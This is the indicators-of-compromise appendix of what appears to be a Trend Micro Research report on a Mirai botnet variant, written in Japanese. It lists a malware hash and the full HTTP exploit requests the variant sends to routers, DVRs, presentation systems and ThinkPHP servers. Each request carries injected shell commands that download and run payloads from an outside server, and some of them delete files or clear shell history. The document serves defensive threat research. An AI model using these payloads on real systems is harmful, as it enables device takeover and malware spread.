■侵入の痕跡（Indicators of Compromise、IoC）

今回の記事に関する侵入の痕跡はこちらを参照してください。

SHA-256	検出名
3c6d31b289c46b98be7908acd84086653a0774206b3310e0ea4e6779e1ff4124	Trojan.Linux.MIRAI.SMMR1

脆弱性が存在する製品	エクスプロイト形式
CCTV-DVR RCE その他の複数のベンダの製品	`GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget ${IFS}http://151.80.197.109/eBxUk/procservice;sh${IFS}/tmp/procse' rvice&>r&&tar${IFS}/string.js HTTP/1.0`

ZyXEL ルータ
(不完全なエクスプロイト形式。このエクスプロイトに類似)
	`POST /cgi-bin/ViewLog.asp HTTP/1.1`
	`Host: 192.168.0.14:80`
	`Connection: keep-alive`
	`Accept-Encoding: gzip, deflate`
	`Accept: */*`
	`User-Agent: python-requests/2.20.0`
	`Content-Length: 227`
	`Content-Type: application/x-www-form-urlencoded`
	
	`/bin/busybox wget http://151.80.197.109/eBxUk/kjUiwa.sh; chmod +x kjUiwa.sh; ./kjUiwa.sh`

Huawei 社製ルータ	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Host: %s:37215 Content-Length: 601 Connection: keep-alive Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u :Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 0.0.0.0 -l /tmp/huawei -r /procrcu;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
以下の各製品：Crestron AM, Barco wePresent WiPG, Extron ShareLink, Teq AV IT, SHARP PN-L703WA, Optoma WPS-Pro, Blackbox HD WPS, InFocus LiteShow Remote Command Injection (CVE 2019-3929 およびこのエクスプロイト)	POST /cgi-bin/file_transfer.cgi?cmd=`wget http://151.80.197.109/eBxUk/procrcu; chmod 777 procrcu; ./procrcu MIPS; rm -rf procrcu` HTTP/1.1\r\n" "Content-Type: application/x-www-form-urlencoded\r\n

D-Link HNAP1	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://151.80.197.109/eBxUk/procrcu && chmod +x procrcu;./procrcu` Content-Length: 640 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Realtek SDK UPnP SOAP Command Execution	**Exploit 1:** POST /picsdesc.xml HTTP/1.1 Host: %s:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: */* User-Agent: Hello, World Connection: keep-alive <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u :AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExte rnalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInte rnalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf*; wget http://151.80.197.109/eBxUk/procrcu`</NewInternalClient><NewEnabled>1< /NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescri ption><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Bod y></s:Envelope> **Exploit 2:** POST /picsdesc.xml HTTP/1.1 Host: %s:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: */* User-Agent: Hello, World Connection: keep-alive <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u :AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExte rnalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInte rnalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/;chmod +x procrcu;./procrcu realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingD escription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</N ewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

GPON80	POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World Content-Length: 118 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+htt p://151.80.197.109/eBxUk/procrcu+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
GPON8080	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: */* Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wg et+http://151.80.197.109/eBxUk/procrcu+- O+/tmp/theend;sh+/tmp/theend`&ipv=0
GPON443	POST /GponForm/diag_Form?style/ HTTP/1.1 Host: 192.168.0.1:443 User-Agent: curl/7.3.2 Accept: */* Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: text/plain Content-Length: 130 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(busybox+w get+http://151.80.197.109/eBxUk/procrcu+-O+->+/dev/r;sh+/dev/r)&ipv=0

JAWS Web サーバの非認証シェルコマンドの実行	POST /shell?cd+/tmp;rm+-rf+*;wget+http://151.80.197.109/eBxUk/procservice;chmod+777+procservice;/tmp/procservice+jaws HTTP/1.1 User-Agent: Hello, world Host: %s:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive
Vacron NVR RCE	GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://151.80.197.109/eBxUk/procservice;chmod+777+procservice;/tmp/procservice+varcron
UPnP SOAP コマンド実行(このエクスプロイトに類似)	POST /UD/?9 HTTP/1.1 User-Agent: OSIRIS Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://151.80.197.109/eBxUk/kjUiwa.sh -O - > theend.sh; chmod 777 theend.sh; sh theend.sh; rm theend.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

THINK-PHP	**Exploit 1:** GET public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://151.80.197.109/eBxUk/vstat -O /tmp/.vstat; chmod 777 /tmp/.vstat; /tmp/.vstat x86_64' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Momentum/2.0 **Exploit 2:** GET /to/thinkphp5.1.29/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]='wget http://151.80.197.109/eBxUk/vstat -O /tmp/.vstat; chmod 777 /tmp/.vstat; /tmp/.vstat x86_64' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Momentum/2.0 **Exploit 3:** GET /to/thinkphp5.1.29/?s=index/\\think\\\\Request/input&filter=system&data='wget http://151.80.197.109/eBxUk/vstat -O /tmp/.vstat; chmod 777 /tmp/.vstat; /tmp/.vstat x86_64' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Momentum/2.0 **Exploit 4:** GET /to/thinkphp5.1.29/?s=index/\\think\\\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]='wget http://151.80.197.109/eBxUk/vstat -O /tmp/.vstat; chmod 777 /tmp/.vstat; /tmp/.vstat x86_64' HTTP/1.1\\r\\nConnection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Momentum/2.0

HooTooTripMate RCE	POST /protocol.csp?function=set&fname=security&opt=mac_table&flag=close_forever&mac=|wget http://151.80.197.109/eBxUk/procrcu; chmod 777 procrcu; ./procrcu tripmate; rm -rf procrcu; history -c Content-Length: 630 Accept-Encoding: gzip, deflate Accept: / User-Agent: Momentum/3.00 Connection: keep-alive

TREND MICRO ™ RESEARCH

Trend Micro, a global leader in cybersecurity, helps to make the world safe for exchanging digital information. Our innovative solutions provide our customers with layered security for data centers, cloud workloads, networks, and endpoints.

At the heart of our leadership, Trend Micro Research is powered by experts who are passionate about discovering new threats, sharing key insights with the public, and supporting efforts to stop cybercriminals. Our global team helps identify millions of threats daily, leads the industry in vulnerability disclosures, and publishes innovative research on targeted attacks, artificial intelligence, Internet of Things (IoT), cybercriminals, and more. We continually work to anticipate the next wave of threats and deliver thoughtprovoking research that can shape strategic industry direction. www.trendmicro.com